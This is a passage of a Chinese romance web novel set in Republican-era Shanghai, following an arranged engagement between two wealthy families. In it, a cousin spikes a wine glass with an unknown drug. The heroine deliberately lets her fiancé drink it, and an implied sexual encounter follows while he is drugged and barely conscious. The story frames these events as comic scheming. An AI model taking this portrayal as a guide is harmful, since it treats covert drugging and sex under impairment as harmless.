杭景妍边给她书包边往房内走,吃了一身的火锅味得去洗澡把衣服换掉。
“我不在,气球没拆家吧。”
绮绿跟着她进了屋内,把书包送进书房挂好,才道:“气球今天老实的狠,吃饱了就睡着了。倒是二小姐,刚刚来找过你。”
“哼,那个蠢蛋,还有脸过来,我没找她算账不错了。”杭景妍冷哼一声去了洗浴间。
洗浴间内,杭景妍悠闲地泡在一片玫瑰花海中哼着歌,不远处的香薰缓缓释放袅袅香气。
一片芳香让人心神放松昏昏欲睡,就在杭景妍快睡着时,一阵刺耳的噪音想起,震醒了她。
只听见有人争执的声音,细细一听,原来是她那个好妹妹。
此时,屋外,绮绿正拦着杭景环:“二小姐,大小姐正在泡澡,不许人打扰,你先在厅上等等好吗?”
杭景环那里肯依,就要闯进去。
一边推攘着绮绿一边嚷嚷着:“她还好意思洗澡,今天把我骗的好惨。说什么不会跟我抢,结果呢,联合凌栖珵把我忽悠的团团转,她就在背后捡漏,面子里子都有了,简直不要太会。”
“自己笨呢,就不要乱七八糟给别人安罪名,毕竟你要是个阿斗我就是个诸葛亮都扶不起来你。”杭景妍边系浴袍边从浴室中走出来。
”你,你..”杭景环气的说不出话来。
“你忘了你当初是怎么答应我的。”杭景环气愤道。<
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p>“没忘。”杭景妍答道。
“难道我没有给你制造机会吗?我给啦,你自己把握不住怪谁?”杭景妍找了个舒适的姿势在沙发上伸展着,双眼微挑,盯着她反问。
杭景环被问的哑口无言,丧气地坐了下来。
杭景环优雅地给自己斟了杯茶,缓缓吹拂开水杯中升腾的雾气,轻轻抿了一口:“你忘了最重要的一点,凌栖珵不是一个物件,不是你像小时候一样撒娇耍闹就可以得到的东西,你想得到他,靠的是你的脑子。而不是来我这里胡闹。”
“瞄。”在沙发上慵懒地躺着的橘气球,配合地叫了一声。仿佛替主人发泄着领地被侵占的不爽。
杭景妍摸了摸气球,一把把她抱了过来。
“气球,你说我说的对吗?”
“瞄。”气球在她怀里又应了一声。仿佛在说,主人好厉害。
铃......一阵电话声响起,打破了瞬间的尴尬。
杭景妍别了这个妹妹一眼,接起了电话:“喂,找哪位?”
杭景环眼见自讨了个没趣站起身来就走。
电话那边,凌栖珵温润低沉的嗓音透过电流传来:“睡了吗?”
一听是他,杭景妍好整以暇地笑了笑:“凌大少爷,你还好意思打电话来,我可是被你连累的惨得很,哪还睡得着。”
此时正走到门边的杭景环听到是凌栖珵打来的电话,停下了脚步,躲在门后偷听起来。
杭景妍撇了她动作一眼,懒得理会她,懒洋洋地提起了话筒:“喂?”
“睡了吗?”话筒里传来凌栖珵温润低沉的嗓音,在这个静逸的夜晚蛊惑着人心。
“我倒是想睡,可惜你散发的无边魅力让我夜不能寐。”杭景妍讽刺道。
“很高兴,你终于肯定了你未婚夫我的优秀。”凌栖珵在话筒另一边低低笑了声。
“肯定是肯定的,简直不能再肯定了,因为你的无边魅力已经给我带来了麻烦。”
“哦?愿闻其详。”凌栖珵放松靠入椅中,随意道。
“我那位早已对你芳心暗许的堂妹正来找我算账呢,你说我是怪你不解风情还是怪你太优秀了,还是如此有魅力的你却是个不解风情的?”杭景妍反问。
“你知不知道你们这类男人活着就是给人制造麻烦!”
凌栖珵被她的牙尖嘴利给堵得有一瞬的无言,他理了理思绪,早上的事情怎么想也不是自己的错。
“你自己搞得事情,你倒怪罪起我了?”
“凌大少爷,你看我妹妹也挺好的,你下次呢,能不能对她友爱一点?”杭景妍看了门外的杭景环一眼,给自己的妹妹推销着。
“那就要看看她是以什么身份出现在我面前,如果是我未婚妻的妹妹,那么我自然尊敬她,如果你们两合伙想整什么幺蛾子的话,那别怪我‘不解风情’。”
此时,外放的电筒让那一边凌栖珵的声音充斥着整间屋子,自然也传到了屋外杭景环的耳朵里。
杭景妍看了她一眼,只见这个不可一世的妹妹已经捂着嘴巴哭着跑了。
见此情形,杭景妍叹了口气,“凌大少爷平时都对女人这么冷酷无情吗?”
“那要看看是是谁了,毕竟我可不想我的未来妻子再控诉我给她制造麻烦。”凌栖珵模棱两可道。
看似什么没说却给自己洗清了嫌疑又表了忠心。让人听了不由地欢心。
杭景妍面上不动声色道:“我妹妹到底哪不好了,我到底哪好了,你怎么就要死挂在我这颗歪脖子树上呢?
凌栖珵望着屋外夜色,听着她的疑问笑了:“刚刚在饭局上不是说了吗,你善良,真诚,美丽.......”
“停,”杭景妍及时打断道。
“你平时追女孩也是这样甜言蜜语吗?”
她真是被凌栖珵说的都起鸡皮疙瘩了,她还不知道自己有那么多优点。
那边的笑了笑,随手拿起水杯抿了口水,清了清嗓子道:“没有女孩子值得我甜言蜜语,除了我的妻子。”
杭景妍嘴角偷笑,“我可没答应嫁给你,打电话来有没有事,没事挂了,很晚了我要睡了。”
凌栖珵仿佛才想起正事:“刚刚忘了嘱咐你,睡前别忘了给脚上药。”
杭景妍抬起自己的脚望了眼,通过两天的休养,红肿渐消,“你的关心,我很受用,我自己的身体我还是会在意的。”
她笑了笑:“晚安。”说着挂了电话。
嘟..嘟....电话里的忙音响起,凌栖珵顿了顿,无奈地笑了下,挂了电话。
此时,敲门声响起。
“栖珵,在忙吗?”
7. 第 7 章
凌栖珵望着门口道:“进来吧。”
凌夫人端着补汤进来,放在了桌上:“那么晚了,跟谁打电话呢?还不睡,妈怕你太累了,炖了汤给你补补身子,忙归忙,身体还是要注意的。”
凌栖珵端过汤碗放在自己面前,轻轻搅动着汤水,金黄汤汁晃动着散发热气,舀了一勺放在嘴边轻吸一口汤汁。
“我会注意身体的,刚刚是给杭小姐打电话嘱咐一些事情。”
凌夫人在沙发上坐了下来,面带忧愁,“栖珵,你真的是喜欢杭小姐才愿意结婚的吗?”
听见母亲这些话,凌栖珵面色沉了沉。
凌夫人见他面色不快,便知道她猜中了他的想法。
“妈老了,不得你爸的喜欢,帮不了你拿到你想要的,可是珵儿,妈不希望你用你下半生的幸福来做交易。”
如今二房得宠,凌老爷隐隐有让二少爷进入公司,分大儿子的权力。凌栖珵要坐稳一把手的位置,要守住自己的利益,强强联合是最好的选择,但是作为一位母亲她不想儿子牺牲自己的幸福,他已经牺牲了一次了,够苦够累了。
事到如今,凌夫人只恨自己的无能。
凌栖珵缓缓叹了一口气,伸出手抚慰般拍了拍母亲的手,安慰道:“妈妈,你放心,我知道自己在做什么。过去的事情就过去了,未来的一切都会在掌握中。”
凌夫人握着儿子的手,慈爱地望着儿子:“妈只希望你能好好的。”
凌栖珵唇角微弯:“这场婚姻没您想的那么不堪,那位杭小姐还挺有趣。”
他想起了他们仅有的几次见面时的情景,故意碰瓷,故意装柔弱。一个女孩子竟然还有那么多面孔,给人的感觉像风,永远的琢磨不透。
凌夫人知道儿子的性格,能让他称赞的人寥寥无几,他这样说倒是勾起了她一丝好奇:“那位杭小姐,我倒还没见过,听你这么说,勾起了娘的一丝好奇心。正好,你爹生日也快到了,趁这个机会正好让我也见见她的风采。”
凌栖珵笑了笑,也觉得她也该到他们家来见见了,正好凌老爷的生日也要到了,他便给母亲提了建议:“父亲生日也很久没有大办过了,正好是个机会,到时候把包括杭家在内的沪上名流们都请来吧,几大家族之间也很久没聚了。”
凌夫人点头答应了下来:“是该好好大办一下,到时候我去和你父亲商量,想必你父亲也不会有意见。”
周末放学归家,杭景妍正准备下车,凌栖珵的司机叫住了了她,拿出了大礼盒,说是大少爷送给她的礼物。
杭景妍觉得惊讶,这不年不节的送什么礼物,但也没说什么抱起盒子就进了家门。
回到屋内打开礼盒,正是一套法国流行的新款裙子,配了一整套钻石首饰。
她觉得奇怪,难道最近有什么宴会?
也懒得打电话给他求证,放下首饰衣物就去吃饭了。
餐厅中。
杭老爷吃完了最后一口,放下汤匙,拿过佣人递上的餐巾擦了擦嘴巴,才说道:“这个周末,凌家老爷子的大寿,邀请了我们全家前去。
特意嘱咐女儿:“景妍,这是你第一次在凌家亮相,平时在家你骄纵一些也就罢了,在外可千万别任性。
杭景妍弯了弯唇角,露出甜甜的微笑,像只人畜无害的兔子。
“放心吧,我绝对不会丢您老的脸的。”
她想起了那套衣服首饰,原来是为了今天,他可真是煞费苦心了。
了然一笑,她叹了口气.
一抬头遍眼见对面的堂妹正盯着自己看,皱着眉头一副若有所思的表情。
二叔二婶对视了一眼,各怀鬼胎。
她权当没看见,挑了挑眉,自顾自吃起了未吃完的食物。
反正她做什么都是是对自己有利,最多丢的是杭家的脸。
饭后,杭景妍坐在院中的观雨台中静静欣赏着湖中潇洒游弋的鲤鱼。
百步聊赖之际,想起凌栖珵那句话,她不可能赢他,那自信的语气,估计没几分把握也不会说出这话。
看来联姻之事是板上钉钉,推不掉了?
思及此她愁得不知如何是好。
这时杭景环用完餐,正走在九曲游廊中。
她呼唤了声:“妹妹,明天凌家宴会你可要好好准备,可别丢了我们杭家的脸。”
潜台词是,把握好我给你的难得机会,丢脸也不要怕。
杭景环转头凝视着台上趴在栏上的姐姐笑盈盈的脸,心头怨愤嫉妒交织,面上却不动声色,一字一句道:“那是自然,多谢姐姐关心。”
她这回一定把握住机会,不会给杭景妍钻了空子。
遥望堂妹远去的步伐,杭景妍轻蔑一笑,“好了,该交代的都交代了,但愿我这妹妹能把握住这次机会吧,再蠢我也救不了她了。”
绮绿在身后担忧道:“小姐,你不怕凌公子生气吗?”
杭景妍转身,像听到了笑话一样,冷哼了声:“他生气?那怎么不怕我生气呢。”
完成任务,杭景妍带着绮绿离开了观雨台,摇摇晃晃边走边跳回了自己院子。
简直像摆脱了悲剧命运,开心得不得了。
绮绿无奈,只得默默跟在身后。
星期六的夜晚。
凌家欧式别墅中,灯火通明,院中也点亮了各式电灯。犹如天上星辰,点缀在花草中。
星光闪烁。
院外整齐停着一排排进口汽车,人群依次而入。
杭景妍挽着母亲的手臂跟着父亲下了车进入了凌家花园,身后跟着二叔一家。
这是她第一次到凌家来,院中都是上海滩各界名流,衣香鬓影,欢声笑语充斥着这方院落,好不热闹。
她细细地打量起了这处地方,欧洲哥特式风格,意大利文艺复兴时期繁复雕窗镶嵌其中,外墙砌成红色。不同于她家古色古香这里完全是西式浪漫。
她随着父母进入了屋内。
屋内走出了位长衫马褂的男子,留着些胡须,左手握着烟斗,跨步走来,身后跟着一位雍容华贵的妇人,凌栖珵身着西式礼服跟在身后。
想必就是凌家父母。
凌老爷走上前,热情相迎,伸手握了握,“杭兄,贵客光临,蓬荜生辉啊。”
杭老爷与他握了握手,“凌兄客气了,您的大寿,我肯定要来恭贺一番。
说着拉了杭景妍走上前来,“景妍,这是你凌伯父,还有伯母。”
杭景妍上前来,乖巧地叫了人。
凌夫人脸上挂着慈祥的微笑,上前来握住她的手细细端详,赞许道:“是个可人儿,难怪栖珵对你赞不绝口。”
杭景妍抬头凝视凌栖珵,他嘴角噙着一抹意味不明的笑,好整以暇地端详她演戏。
杭景妍趁着长辈们不注意,对他露出个挑衅的笑,不到两秒又恢复了含蓄优雅,除了他其他人都没有注意。
凌老爷也很满意杭景妍此时这番乖巧模样,面露慈祥:“十几年前见时,才是个小不点,现在都已经出落得亭亭玉立了,真是岁月不饶人。”
杭老爷:“可不是吗,我们都老了,现在都是他们年轻人的天下了。”
凌老爷招呼道:“来到伯父家不要客气,就当自己家一般,马上我们就要成为一家人了。”
此言一出,长辈们都哈哈大笑起来。
“上次我家栖珵莽撞,闹出了点误会,真是过意不去。”
“都是过去的事了,何劳凌兄记挂,”
“杭兄此言,我就放心了。”
不多久,就到了宴会开始的时间。
一楼空旷的宴会厅中,乐手们开始演奏。
在花园中的众人在侍从的指引下步入宴会厅中。
厅内,乐声旋律悠扬。
凌老爷,在众人目光中走上前台致辞。
对各位前来为他祝寿的亲朋好友表示感谢。
而后是宴会的开场舞。
作为凌家的嫡长子。
凌栖珵当之无愧成为开场之人。
在圆舞曲的乐声中,凌栖珵迈步向杭景妍走来。
弯下腰,做了一个邀请的姿势。
杭景妍本还在开心地坐在一旁吃着小甜品,见此情景她楞了一下。
本想拒绝,但她环顾一周,所有人都在看着他们。
不好当众拂了他的面子。
还是伸出了手,搭在他的手上,接受了他的邀请。
凌栖珵握着她柔弱莹白的小手,轻轻一提,手回旋,她遍落入了他的怀中。
柔软腰肢,袅袅纤弱,不盈一握。
他搂着她步入舞台中央,随着旋律缓缓起舞。
其他人也随之步入舞池。
杭景妍踏着音乐跟着他的节奏旋转,繁复炫丽的天花板也在眼前变了模样。
旋律中,她收到了各色的视线,羡慕的,嫉妒的,淡然的,漠视的。
都如走马灯般呈现,身在其中繁华,不知谁是谁的看客。
只有一人的眼神,让她留意。
她的堂妹此时正站在边角,用一双晦暗不明的双眸盯着她,饱含羡慕嫉妒恨。
她在转过她身边时,特意扬起了个得意的笑容。
她知道,在她的妹妹看来这是胜利的微笑,这大大地刺激了她那根敏感脆弱的神经。
“难得,能见到你的笑容。”凌栖珵背对着杭景环不知道她为什么笑,还以为是因为高兴。
“我笑容很多啊,只是在你面前很少有高兴的时候。”她顶嘴回去。
凌栖珵收了收环在她腰间的手,让她不由自主的靠近他的胸膛。
“呀”杭景妍小小惊呼出声,控制住自己的身体与他保持距离。
“真是伶牙俐齿的小嘴。”
杭景妍愤愤瞪了他一眼,真是个小心眼的男人。
凌栖珵勾唇一笑,完全不在乎她的眼神,带着她翩翩起舞。
随着音乐戛然而止,一曲终了,跳舞的人各自散去,他也牵着她走下舞台,走向一侧休息区。
一侧休息的角落,意大利宫廷复古沙发上,两家长辈坐着品酒闲聊,身旁来敬酒恭维的人络绎不绝。
他们见凌栖珵牵着杭景妍走来,不由称赞:“令郎与杭家大小姐,真是郎才女貌,天生的一对璧人。”
凌夫人轻抿一口酒,望着儿子与未来儿媳,也欣慰地笑了笑。
几家欢喜几家愁,世事怎能都如人意。
那人说着恭维的语言,却不见,凌家姨太太与她所生的二少爷,杭家二老爷一家的黑脸。
杭景妍下来就挣脱开栖珵的手,小跑到母亲身边坐下,挽着她的手臂,亲昵地靠在她肩头。
撒着娇道:“累死了。”
端起面前的水杯喝了几口水。
“真是没规矩,没看道哥哥还在你后面吗?”身边一妙龄女子的声音突兀地传来,打破了此时和谐的氛围。
杭景妍一脸莫名其妙,抬头:“你是谁?”
该女子身旁的二姨太,扯了扯她的衣服,“闭嘴,这里有你说话的地方吗。”
她又堆起了满脸笑容,对着众人歉意,“小女不懂事,让大家见笑了。”
原来该女子是二姨太所生的小女儿,凌家三小姐,凌绘雪。
杭景妍靠着椅背,双手抱胸,仔细打量起这位凌家庶女。
凌绘雪生的一双丹凤眼,眼角上挑,挺直鼻梁,樱桃小口,一副高傲凌厉像,像极了她那个小妾母亲。
杭景妍打心眼里瞧不起妾室生的孩子。
自家父母夫妻恩爱,父亲从未纳妾,在她看来纳妾的男子都是风流好色之辈,而当人妾室都是贪财之辈。
也正是因为父母的婚姻从而影响了她的婚姻观。
“没事,二姨太,都是我不懂事,得罪了妹妹”杭景妍低着头,用手绢擦拭着眼角,一副泫然欲涕的模样。
天真烂漫
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的少女被欺负着在一旁啜泣,一抽一抽,细小的呜咽声一丝丝钻入耳膜,敲打着心弦,任谁看了都由衷不忍,对罪魁祸首更是嫌弃起来。
妾就是妾,终上不了大雅之堂,就算抬举她,也不过是丢人现眼,妾生的女儿也是如此不懂规矩,未来长嫂也如此出言不逊。
凌栖珵知道这又是她的伎俩,他好整以暇的靠着沙发,从容着看着好戏,轻轻吹拂着手中的茶,青绿色的茶汤荡漾起波波涟漪,倒映着他双眸黝黑深邃,含着笑意,只是笑未达眼底。
女人的戏真是精彩,强中更有强中手,千人千面。
但到底哪面真哪面假,身在其中之人如何能看穿呢。
凌老爷脸面挂不住,出声呵斥了一向最宠爱的二姨太:“带你女儿下去,丢人现眼的。”
二姨太起身,对着杭老爷他们鞠躬致歉,低着头大气不敢喘,拉着女儿要离开。
凌绘雪被拉着不情不愿地起身,临走前还愤愤不平:“父亲,你怎能这样对妈咪。”
话音未落已被二姨太拉出了门。
大太太眼见二姨太离开,她重新审视起了这位未来的儿媳妇。
原以为是弱不禁风,乖巧懂事,现在看来她的乖巧懂事也是道利器。
未来或许可以帮到自己。
毕竟这是第一次,她见到二姨太吃瘪。
杭景妍不想待在这窒息的氛围中,装模作样的擦着眼泪,一副虚弱的风一吹就倒的模样摇摇晃晃起身,与长辈打了声招呼离开此地。
凌栖珵也跟了上去,但被几位至交好友围了上来,阻断了去路。
他望了不远处的她几眼,看她待在甜品区快乐地夹着小点心,便放心由她去了。
杭景妍欣喜地夹着小点心,核桃酥,豌豆黄,奶油小方,绿豆饼,驴火烧。转瞬间小碟子便跌成小山堆。
都是自己爱吃的,今天可以吃到爽了。
她又顺手拿过一杯果汁准备找一个安静的角落大快朵颐。
正当她在花园的秋千上,津津有味享用美食时,她见到她的堂妹鬼鬼祟祟地在餐桌上的酒杯中下了什么东西,而后倒上红酒,端起来轻摇混合。
难道是要给凌栖珵下迷药?问题是这个傻堂妹给他,他会喝吗?
她想了想,还得去帮她一把,成全下他们。
杭景妍悄悄靠近堂妹的身后,“你在干什么?”
杭景环吓了一跳,回过神来,眼神闪躲,慌张回应:“没什么,就随便拿点吃的。”她随手夹一块点心放进碟子中,仓皇转身而去,剩下那杯不知道加了什么的红酒。
杭景妍端起那杯酒问了问,没闻出什么味。
难道是蒙汗药?
她倒是很好奇,凌栖珵喝了会怎样。
来都来了,不做点什么怎么是她杭景妍的性格。
恰好此时,她眼角余光憋见凌栖珵离开了那圈朋友的包围往她这里走来。
她拿着那杯红酒假意晃荡,正准备喝下去,恰好卡在他停在她面前,她也停下喝酒的动作。
“我为刚才的事感到抱歉,令妹不懂事。”凌栖珵接过她手中的酒晃了晃,让酒中单宁充分挥发,释放浓郁果香,嗅了嗅,轻抿一口。“这杯酒算是我为令妹赔礼道歉。”
杭景妍见他几口几口喝了下去,心中暗自窃喜,没想到那么容易就达成目的,她抿了抿唇,忍住内心狂喜,从侍者手中挑了一杯果汁与他酒杯相碰:“都是千年的狐狸,玩什么聊斋。这不就是你想看到么。”
两人对视,了然一笑,一切尽在不言中。
杭景妍却还惦记着这是公共场合,万一他在这里晕倒势必会引起注意,得找个没人的地方。
“听说你对摄影艺术造诣颇深,我也想见识见识下你的大作,让我认识下你到底比我高在哪?”
凌栖珵莞尔一笑,放下酒杯,“那就带你去我的收藏室看一下。
二楼
不同于一楼的衣香鬓影,喧嚣热闹,处于一派静逸中。
凌栖珵拉着杭景妍的手缓步走上旋转楼梯,走过空旷无人的走廊,推开了一扇门。
随着门缓缓打开来,像打开了奇妙世界。
杭景妍惊讶出声:“哇。”
她实在是控制不住自己,这简直是她梦寐以求的世界,全都是相机,德国的美国的出产的,三角架式的大古董,还是便携式的相机,应有尽有。
她放开了他的手,走上前细细端详,像发现新大陆般拿起了面前的微型相机。
“这能用吗,那么小?”她拿着微型相机反复观察鼓捣着。
凌栖珵走上前来,拿走她手中的相机,打开开关,对着她一按快门,咔嚓一声,她的倩影已经定格在交卷之中。
他把相机交到她的手中,“这时一些间谍获取情报专用,短小轻便。易于储藏和销毁。
杭景妍掌握了窍门,连按快门给他也拍了几张,闪光灯连闪了几下,些微刺眼,他伸手挡了挡眼睛,带着纵容的语气:“别闹。”
她又摆弄了几下微型相机,便去看其他的相机。
杭景妍又走到右边的墙前,这里的一整面墙上挂着还有他拍摄的作品。
她仔细欣赏着他的风景照。
就算是黑白的相片,他也拍出了祖国山河之壮美与大气。
这时她才意识到,自己的水平和他比还是差了点。
“你从什么时候开始学摄影的?”她问道。
“很小,从七岁起,父亲就送了我第一台相机,那时我还小,小小的身板前挂着个大相机看起来有点滑稽。”凌栖珵想起了过去的美好回忆,也不自觉弯了弯唇。
突然,他感觉眼前景物天旋地转,立马扶着身边的柜子稳住身子。
他拼命晃了晃头,以保持清醒,最终还是无力抵挡,坠入了黑暗之中。
丧失意识的前一秒,他想起了之前喝的那杯酒。
这个小妮子,这回真的中了她的招。
8. 第 8 章
一声巨大的声响,惊的杭景妍回过头来,此时,凌栖珵已经晕倒在地。
她小心翼翼踮着脚跑过来看了看情况,蹲下来,假模假样地摇着他,焦急道:“凌栖珵,你醒醒啊,你怎么了?”
晃了半天确认凌栖珵已经人事不知,她站起身,出门准备去找找她的好妹妹。
临走关上门前,又看了眼静静躺着在地上的凌栖珵,撇了撇嘴,她这个好妹妹这药真猛。
关上门,左右看了看,确认周围没有人,她才当做无事发生般下楼去。
楼下仍然热闹,她若无其事拿起一杯橙汁作为掩护,边走边四处寻找堂妹的身影。在不远处一众名媛小姐中锁定了她,此时杭景环正和几位大小姐寒暄攀关系。
杭景妍端着橙汁悄无身息地靠近,想找个由头把堂妹支出来,不合时宜的谈论飘进了她耳朵。
“你们听说了吗?凌家这次大张旗鼓的搞这寿宴,其实就是要跟杭家进一步确定关系,强强联合,本来杭家和凌家就有着千丝万缕的联系,现在关系更是坚固了,凌栖珵这朵高岭之花便宜给了杭景妍了,真是可惜。”
“她杭景妍有什么本事,又作又闹的,以她的大小姐脾气,估计没几天凌少爷就厌烦了她。我敢打赌,他们结婚不到一年肯定会离婚。”
“你们都不知道,凌栖珵出国前曾经有一位青梅竹马,奈何落花有意流水无情,他被抛弃了,伤心欲绝之下才远走他乡,一走就是七年,所以他怎么可能看的上杭景妍。不过是给父母做做样子罢了。”
又见杭景环在这里,挑拨离间道:“你也不比你姐逊色,奈何是个老二,好事也轮不到你,可惜了你这姿色。”
“我也觉得挺可惜的。”杭景妍在背后冷不丁的出声。
几位千金大小姐被身后突然冒出的声音激的脸上一阵红一阵紫,怒瞪着对面的杭景环,责怪看到了正主不提醒她们,这下背后说人坏话被当场抓包,一直维持的名媛淑女人设崩坏。
她们镇静下来又换上一副笑容,“景妍,都是我们嘴巴碎,你就当没听见,没听见。”
杭景妍连个眼神都懒得给她们。对着堂妹道:“好妹妹,你可让姐姐我好找。”
她拉着杭景环径直离去,留下那几位名媛面面相觑。难道真的要上演一场姐妹相杀?
杭景妍把妹妹拉到一无人角落,告知她凌栖珵就在二楼左转的第二间房间,而后拍了拍她的肩膀狡黠一笑:“妹妹,姐姐看好你,好好干。”
杭景环白了她一眼,推开姐姐搭在肩上的手,转身离开。
眼见堂妹的背影消失在楼梯转角,她松了口气,找了个椅子放松地品着小酒吃着糕点,想着等下的惊喜场面,到时生米煮成熟饭,妹妹就会代替自己嫁给凌栖珵,既成全了她也成全了自己,简直双赢。
心情大好的杭景妍不由吃多了,肚子不合时宜地响了起来,她找了个卫生间钻了进去。
但她没想到这肚子这么跟自己过不去,来来回回跑了四五趟,整个人都虚脱了,站都站不稳,没办法只好到二楼找个房间休息一下。
果然人不能办坏事,这报应来的太快了点。
杭景妍记得,凌栖珵的收藏室是第二间,为了不撞破妹妹的好事,自己跑去了最里的一间。
打开房门,里面一片漆黑,她也懒得打开灯,摸黑找到床,随便一趟拉开被子迷糊睡去。
睡的正香之际,黑暗中有一双手横亘在她的胸前,耳边拂过细微的呼吸声,丝丝缕缕,带来丝丝痒意,耳边悄然爬上红晕,她吓的一动不动。
这房间有人,她走错房间了。
她暗暗懊恼,小心一点就好了,都怪自己大意,随便找个房间也不看清楚以为没人会出现在二楼。
她往旁边看了看,身边的男子在熟睡中,呼吸清浅,便小心翼翼挪开横在身前的手臂,弓着身子,屏住呼吸,脚一点点从床上挪开,无声无息地落在地面,像做贼似的在黑暗中一步步往前挪。
一步两步,门就在眼前了,再走一步,终于,碰到门把手了,她轻巧旋开,门外暖黄的灯光通过微开的门缝漏入房内,杭景妍露出一双狡黠大眼睛观察外面情况,正准备趁着人不知鬼不觉跑出去当做什么事都没有发生一般。
却听见楼梯上想起了吵杂的脚步声,吓的她立马关上了房门。
屋内瞬间恢复了黑暗,杭景妍靠在门后惊魂未定。
这不会是来抓她的吧。
这是谁要来陷害她?
这时,脚步声停下,清脆的两声敲门声响起,却不是敲这间房间的门而是隔壁。没听见隔壁开门的声响,只听见一声刺耳的尖叫,仿佛要刺痛耳膜。
这时隔壁房门应声打开,杭景环扯着自己的衣领,慌忙夺门而出,在门外的父母面露惊讶,还来不及反应,身后跟着出来了凌家二公子,也是衣衫不整。
如此景象,明眼人见了也知道大概发生了什么事,杭二奶奶抱着女儿,哭泣不止。杭二老爷指着凌二少爷手指不住地颤抖:“你,你,你这个杀千刀的畜生。”
如此大的动静惊动了楼下的凌老爷,大家一窝蜂的涌上楼,此情此景让众人目瞪口呆,杭二小姐衣衫不整,发髻凌乱伏在母亲怀中哭泣,而杭二少爷也同样衣衫不整,吊儿郎当,一副玩世不恭的模样。
凌老爷见此情景,怒急攻心,抬手一巴掌甩了过去:“逆子,我要你有何用!”伴随着清脆的声响,红彤彤的巴掌印瞬间浮现在凌二少爷脸上。
凌老爷训斥了儿子一番,缓一缓情绪,又对着杭二老爷一家道:“贤弟,你放心,逆子做出此等丧尽天良之事,我必然会还你一个公道。”
事已至此,杭二老爷不好撕破脸,只好道:“那我等着凌兄你的处理结果。”他礼节性地拱了拱手,带着妻女二人率先下楼。
悄悄躲在门边偷听的杭景妍也震惊不已,她妹妹不是要跟凌栖珵生米煮成熟饭吗,怎么变成了凌二少爷?
她疑惑的回身望向睡在床上的男人,难道是凌栖珵?他怎么会跑到这间房来?所以是自己指错了房间导致堂妹跑错?
带着满腔的疑问
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,杭景妍趁着黑暗小心翼翼再度靠近床上昏睡的男人,想确认是不是凌栖珵。
男人安静地躺在欧式雕花大床的一边,身上的西服外套也没脱,里面的衬衫随着无意识地翻滚变得凌乱,原先整整齐齐的领口也敞开来,上好的丝绸蚕丝被随意半披着。
月光如水,透过窗棂披洒在他白皙的脸上,半明半昧,此时他紧抿着双唇,唇色如桃花红艳,仿佛在忍耐着什么,双眼颤抖,修长的睫毛在月光照耀下投下一弯阴影。
杭景妍站在床边透过月光确认了是他,此时的她,颇有种无语问苍天的姿态。
但苍天不会回答她,而她也深深感受到了苍天的戏弄。
什么叫人算不如天算,什么叫做苍天绕过谁,什么叫做现世报?
这就是。
现在跑还有可能吗?
听着楼下时不时的传出的狼嚎鬼叫,下面又是一场好戏。
她如今是插着翅膀也难逃了,这就是搬起石头砸自己的脚。
“水,给我水,好渴。”凌栖珵在床上翻滚,一边叫着一边扯着领口,挺直洁白的衬衫被折腾得皱巴巴的随意挂在身上。
杭景妍坐在对面椅子上,想了想,叹了口气。如今他变成这样终究是自己的责任,良心的鞭挞让她起身从桌边倒了一杯水,端过去坐在床边,把水杯送到他唇边。
清凉的触感袭来,让凌栖珵迷蒙的意识清醒了下,睁开眼,眼中的世界一片朦胧,看不清,有位女子的身影在晃动,影影绰绰。
体内难以抑制的燥热袭来,控制不住自己行动,他双手一扯,一阵天旋地转,两人双双栽倒。
杭景妍还没反应过来人已经倒在床上,他炙热的双唇迫不及待的附上,碾压,啃咬,吸允,在她脸颊耳边流连轻咬,让她泛起阵阵颤栗。
透过伟岸的脊背,她望着窗外的皎月,晴朗夜空慢慢被乌云遮盖,转眼间遮天蔽日,天昏地暗,阳台的花草在一阵狂风暴雨中摇摆,雨时大时小,像有节律般,楼下的哭喊声也遥远的似乎是天外之音。
不知过了多久,她已经转动不了大脑,眼皮似有千斤重,闭上了眼睛,管它外面洪水滔天。
第二天早晨,窗外的朝阳投过窗纱投射在女孩挺翘的睫毛上,杭景妍眨了眨眼睛,缓缓转醒。
身上的刺痛和粘腻让她不适,她强趁着支起身,打量一圈房间,暗棕的色调,黑白的颜色的床单,墙上挂着几幅油画,除此之外没有多余的装饰,但屋内衣架的衣物明显告诉她,这是身边这男人的房间。
杭景妍在心里暗嘲自己,计划为什么不周密,为什么他中了药还可以走动。
思及此,她懊恼地棰床。
嘣,一声,惊动了床一侧的男人,他动了动又昏睡过去。
见他没有醒来,杭景妍松了口气。
觉得此地不宜久留,趁着凌栖珵还没有醒来,她忍着酸痛蹑手蹑脚下床,穿好衣服,小心地开门,确认门外没有人,抓准时机逃了出去。
随着关门声,床上的男人,缓缓睁开了双眼。
9. 第 9 章
杭景妍趁着清晨凌家的人还没有苏醒,悄悄离开了凌家,走出别墅区,找个好拦车的地方拦了黄包车离去。
此时,失魂落魄的她并没有注意到,因为昨晚的时间而半夜来凌家外围蹲守的八卦记者的镜头,悄悄对准了她。
傍晚,夕阳西下,一缕残阳斜照大地,给五彩雕花窗折射出绚丽光芒。
屋内,一片漆黑,夕阳霞光透不过厚重的窗帘。
杭景妍在经历了一天漫长的修整,睁开了双眼。
屋内漆黑一片让她一瞬间想不起来身处何时何地。
缓了缓神,才想起来自己回家了,她起身拉开窗帘,夕阳直射眼帘,眯了眯眼,伸了个懒腰,招呼绮绿去小厨房给自己端点吃的过来。
填饱肚子后,她想起了堂妹的事,实在放心不下,还是觉得应该去看看。
而二房院子中,二老爷怒气冲冲,又焦虑的不知道如何是好,在小厅内来回踱步,而杭景环坐在一边沙发上小声啜泣。
“你还有脸哭,不是你自作聪明,会有今天的事情吗?成事不足败事有余。”二老爷指着女儿愤怒道。
杭景环见状扶在母亲怀里哭的更大声,边哭边道:“发生这样的事情,我也不想的,本来我都要放弃了,是姐姐她把我叫到那间房里,我以为是大少爷,没想到等着我的是二少爷,我原以为她是真的要来成全的我的。是我太天真了。”
杭二奶奶心疼的用手帕为女儿抹眼泪:“我苦命的女儿,我们这一房被大房欺压也就算了,如今还这样算计自己的妹妹,真的是欺人太甚。”
“还是景环太急功近利了,这件事你应该跟我们先商量一番,也不至于中了别人的圈套。”二老爷缓缓了语气,总结道。
二奶奶无奈叹气:“现在说什么都于事无补了,事情已经这样了,说这些有什么用。”本来她还以为可以有机会嫁给凌家大少爷,可以压大房一头,没想到偷鸡不成蚀把米,于是忿忿不平。
“难不成真的要嫁给凌家二少爷这个纨绔子弟,虽说都是凌家的,但是嫡出老大和庶出老二差距还是很大,即使二姨太盛宠。”二奶奶与二老爷商量着,征询丈夫意见。
